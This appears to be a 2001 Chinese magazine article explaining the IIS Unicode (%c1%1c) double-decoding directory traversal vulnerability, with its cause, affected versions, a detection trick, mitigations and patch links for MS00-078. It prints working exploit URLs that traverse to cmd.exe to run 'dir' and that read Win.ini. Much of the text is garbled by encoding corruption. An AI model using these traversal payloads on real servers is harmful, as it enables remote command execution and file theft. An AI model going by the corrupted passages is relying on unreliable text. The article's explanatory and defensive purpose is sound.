Unicode漏洞

Author: 老周 Date: 2001年 39期

#1    原理篇
  ?牐犂渡耄–odeblue)和尼姆达(Nimda)都是使用unicode漏洞进行攻击。
  #2?牐?1.漏洞描述
  ?牐?1?爃ttp://192.168.8.48/A.ida/%c1%00.ida
  ?牐犖募?:E:\Inetpub\wwwroot\A.ida\@.ida。
  ?牐犗低痴也坏街付ǖ穆肪丁?
  ?牐牻馐?:%c1%00解码成了c1 00,这正常。但再一次解码成了(c1-c0)*40+00=40=“@”。
  ?牐?2)http://192.168.8.48/A.ida/%c1%01.ida
  ?牐犖募?:E:\Inetpub\wwwroot\A.ida\A.ida。
  ?牐犗低痴也坏街付ǖ穆肪丁?
  ?牐牻馐?:%c1%01解码成了c1 01,这正常。但再一次解码成了(c1-c0)*40+01=41=“A”。
  ?牐?3)http://192.168.8.48/A.ida/%c1%02.ida
  ?牐犖募?:E:\Inetpub\wwwroot\A.ida\B.ida。
  ?牐犗低痴也坏街付ǖ穆肪丁?
  ?牐?4)http://192.168.8.48/A.ida/%c1%3a.ida
  ?牐犖募?: E:\Inetpub\wwwroot\A.ida\z.ida。
  ?牐犗低痴也坏街付ǖ穆肪丁?
  ?牐牎?
  ?牐牬蠹铱赡芑姑灰馐兜秸饽芨墒裁矗强纯春诳湍芨墒裁窗伞0鸭剖鱡:\inetpub\wwwroot\counter.asp拷贝成e:\inetpub\count.asp,也就是到了Web目录的上级目录,文件名也改了,以避免混淆,这时在浏览器里面输入?焗ttp://192.168.8.48/..%c1%1ccount.asp,计数器界面出来了,也就是说黑客访问到了Web目录的上级目录。再结合一些别的技巧,还可以看到虚拟目录所在盘任意文件。
  #2?牐?2.漏洞成因
  ?牐爑nicode漏洞:IIS在加载可执行CGI程序时,会存在两次解码,第一次解码是对CGI文件名进行http解码,然后判断此文件名是否为可执行文件,例如检查后缀名是否为“.exe”或“.com”等等。在文件名检查通过之后,IIS会再进行第二次解码。正常情况下,应该只对该CGI的参数进行解码,然而,IIS错误地将已经解码过的CGI文件名和CGI参数一起进行解码。这样,CGI文件名就被错误地解码了两次。
  ?牐牎癱11c”编码问题:中文简体里面没有这种字,照正常的情况该根据内码转换文件\Winnt\system32\c_936.nls会编码成“?”。会SOFT-ICE的人可以实验,设置断点bpx CreateFileA拦截文件打开操作,再打开一个文件,断点出来后把文件名最后修改成“c1 1c”,再设置断点bpx CreateFileW,一运行出来看看这个“c1 1c”解码成了什么?解码成了3f就是“?”号,这是正常的汉字转换成内码结果。但对中文简体版IIS中c1 1c解码成了(c1-c0)×40+1c=5c=“\”。
  ?牐牎?%c1”编码问题?熤形腎IS等处理文件名的时候,有个特殊的%c1编码问题,可以编码出任何字母及一些其他字符,如“\”等,而此编码发生在IIS检测处理路径串中的“..\”之后,所以可以突破IIS路径访问到上级目录。
  ?牐牬寺┒创又形腎IS4.0+SP6开始,还影响中文Win2000+IIS5.0、中文Win2000+IIS5.0+SP1,繁体中文也受此漏洞影响。
  ?牐犂?:
  ?牐爃ttp://192.168.8.48/scripts/..%c1%1c../Winnt/system32/cmd.exe?/c+dir
  ?牐爃ttp://192.168.8.48/a.asp/..%c1%1c../..%c1%1c../Winnt/Win.ini
  ?牐犞形腤inNT+IIS4.0+SP6:
  ?牐爃ttp://192.168.8.48/default.asp/a.exe
  ?牐?/..%c1%1c../..%c1%1c../Winnt.ini
  ?牐牽梢允褂?.ida等映射检测此漏洞:
  ?牐爃ttp://192.168.8.48/%c1%01.ida
  ?牐犛行┞┒椿岱祷乩嗨啤罢也坏? IDQ 文件 A.ida。”的信息。注意%c1%01已经解码成了“A”。
  #2?牐?3.解决方法
  ?牐犆挥邪沧安苟≈埃菔辈捎孟铝蟹椒?临时解决问题:
  ?牐?1.如果不需要可执行的CGI,可以删除可执行虚拟目录,例如/scripts等等。
  ?牐?2.如果确实需要可执行的虚拟目录,建议可执行虚拟目录单独在一个分区。
  ?牐?3.将所有可被攻击者利用的命令行工具移到另外一个目录中并禁止GUEST组访问。
  ?牐牫?商补丁:
  ?牐犖⑷硪丫⒉剂艘桓霭踩鍹S00-78,你可在下列地址看到更详细的内容:http://www.microsoft.com/technet/Security/Bulletin/ms00-078.asp
  ?牐牪苟】梢源酉铝械刂废略?:
  ?牐燤icrosoft IIS 4.0:
  ?牐爃ttp://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp
  ?牐燤icrosoft IIS 5.0:??
  ?牐爃ttp://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp
  ?牐犛腥怂滴⑷硪簧鲜校妥⒍ㄓ行矶郆ug存在,怎样弥补这些漏洞﹖我们希望微软能及时出一些修正补丁,让系统更加完善。